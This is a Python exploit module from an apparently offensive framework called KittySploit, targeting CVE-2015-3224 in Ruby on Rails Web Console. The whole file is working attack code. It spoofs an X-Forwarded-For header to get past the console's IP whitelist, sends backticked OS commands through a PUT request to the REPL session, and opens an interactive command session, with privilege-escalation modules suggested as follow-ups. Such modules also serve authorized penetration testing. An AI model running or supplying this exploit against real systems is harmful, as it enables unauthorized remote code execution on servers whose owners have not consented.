Ruby on Rails Web Console - IP Bypass RCE (CVE-2015-3224)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ruby on Rails Web Console IP whitelist bypass RCE (CVE-2015-3224) — opens execute session."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Ruby on Rails Web Console - IP Bypass RCE (CVE-2015-3224)',
        'description': (
            'Exploits CVE-2015-3224 by bypassing Web Console IP restrictions with '
            'X-Forwarded-For: 0000::1 and evaluating backtick OS commands. Opens an '
            'interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2015-3224'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2015-3224'],
        'tags': ['rails', 'ruby', 'rce', 'web-console', 'unauth', 'cve-2015-3224'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2015_3224_detect',
                ],
            },
        },
    }

    _session_path = ''

    def _open_console(self) -> str:
        path = f'/{self.random_text(8)}'
        r = self.http_request(
            method='GET',
            path=path,
            headers={'X-Forwarded-For': '0000::1'},
            allow_redirects=False,
        )
        if not r:
            return ''
        body = r.text or ''
        m = re.search(r'data-(?:remote-path|mount-point)=["\']([^"\']+)["\']', body)
        if not m:
            return ''
        mount = m.group(1)
        if not mount.startswith('/'):
            mount = '/' + mount
        sess = re.search(r'data-session-id=["\']([^"\']+)["\']', body)
        if sess:
            mount = f'{mount}/repl_sessions/{sess.group(1)}'
        self._session_path = mount
        return mount

    def execute(self, cmd: str) -> str:
        mount = self._session_path or self._open_console()
        if not mount:
            return ''
        safe = str(cmd).replace('`', '')
        r = self.http_request(
            method='PUT',
            path=mount,
            data='input=' + quote(f'`{safe}`', safe=''),
            headers={
                'X-Forwarded-For': '0000::1',
                'X-Requested-With': 'XMLHttpRequest',
                'Content-Type': 'application/x-www-form-urlencoded',
                'Accept': 'application/vnd.web-console.v2',
            },
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or '', re.I):
            return {
                'vulnerable': True,
                'reason': 'CVE-2015-3224 confirmed: id via Web Console',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Web Console not reachable / not exploitable',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()